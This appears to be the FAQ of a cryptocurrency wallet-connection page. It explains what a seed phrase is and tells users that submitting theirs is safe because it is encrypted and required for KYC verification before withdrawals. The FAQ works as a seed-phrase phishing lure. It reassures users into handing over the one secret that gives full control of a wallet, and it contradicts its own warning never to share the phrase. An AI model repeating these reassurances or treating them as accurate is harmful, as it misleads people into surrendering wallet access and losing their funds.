What is a seed phrase?

A seed phrase (also called a recovery phrase or mnemonic) is a series of words that store all the information needed to recover your wallet. It's like a master password that generates all your private keys.

Is it safe to enter my seed phrase?

Your seed phrase is encrypted before being stored and is never accessible in plain text after submission. We use industry-standard encryption to protect your data. However, you should never share your seed phrase with anyone.

What happens after I connect my wallet?

After connecting your wallet, it will be submitted for KYC verification. Once verified, you'll be able to perform withdrawals and other operations. KYC verification typically takes 24-48 hours.

Why do I need to verify my wallet?

KYC verification ensures that you are the legitimate owner of the wallet and helps prevent fraud. This is a security measure to protect both you and the platform.